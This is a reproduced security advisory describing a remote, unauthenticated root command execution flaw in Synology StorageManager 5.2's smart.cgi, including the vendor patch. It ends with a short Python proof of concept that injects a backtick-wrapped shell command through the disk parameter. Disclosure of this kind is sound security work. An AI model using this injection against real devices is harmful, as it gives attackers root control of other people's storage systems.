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Synology StorageManager 5.2 Remote Command Execution

Synology StorageManager 5.2 Remote Command Execution
Posted Nov 29, 2017
Authored by securiteam

Synology StorageManager version 5.2 suffers from a remote root command execution vulnerability in smart.cgi.

tags | exploit, remote, cgi, root
MD5 | 0e725291dedfc743e647723b95b3a423

Synology StorageManager 5.2 Remote Command Execution

Change Mirror Download
'''
SSD Advisory a Synology StorageManager smart.cgi Remote Command Execution

Full report: https://blogs.securiteam.com/index.php/archives/3540
Twitter: @SecuriTeam_SSD
Weibo: SecuriTeam_SSD


i>>?Vulnerability Summary
The following advisory describes a remote command execution vulnerability
found in Synology StorageManager.

Storage Manager is aa management application that helps you organize and
monitor the storage capacity on your Synology NAS. Depending on the model
and number of installed hard drives, Storage Manager helps you accomplish
the following tasks:

Create different types of RAID and non-RAID storage configurations, such as
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
Monitor the overall storage usage of your Synology NAS.
Inspect the health of installed hard drives and solid state drives.
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and
more.a

Credit
An independent security researcher, Nigusu Kassahun, has reported this
vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program

Vendor response
Synology has released patches to address this vulnerability a DSM 5.2-5967-5

For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to
execve function.

Successful exploitation of this vulnerability enables a remote
unauthenticated user to run commands as root on the machine.

The vulnerable parameter can be found in
/webman/modules/StorageManager/smart.cgi with parameter
action=apply&operation=quick&disk=%2Fdev%2Fsda

Proof of Concept

===
'''

# Synology StorageManager <= 5.2 Remote Root Command Execution


import httplib


HOST = raw_input("Enter Host: ")


#IDOR to bypass auth and ticks to chain commands

conn = httplib.HTTPConnection(HOST)

conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")

res = conn.geresponse()

print res.status, res.reason

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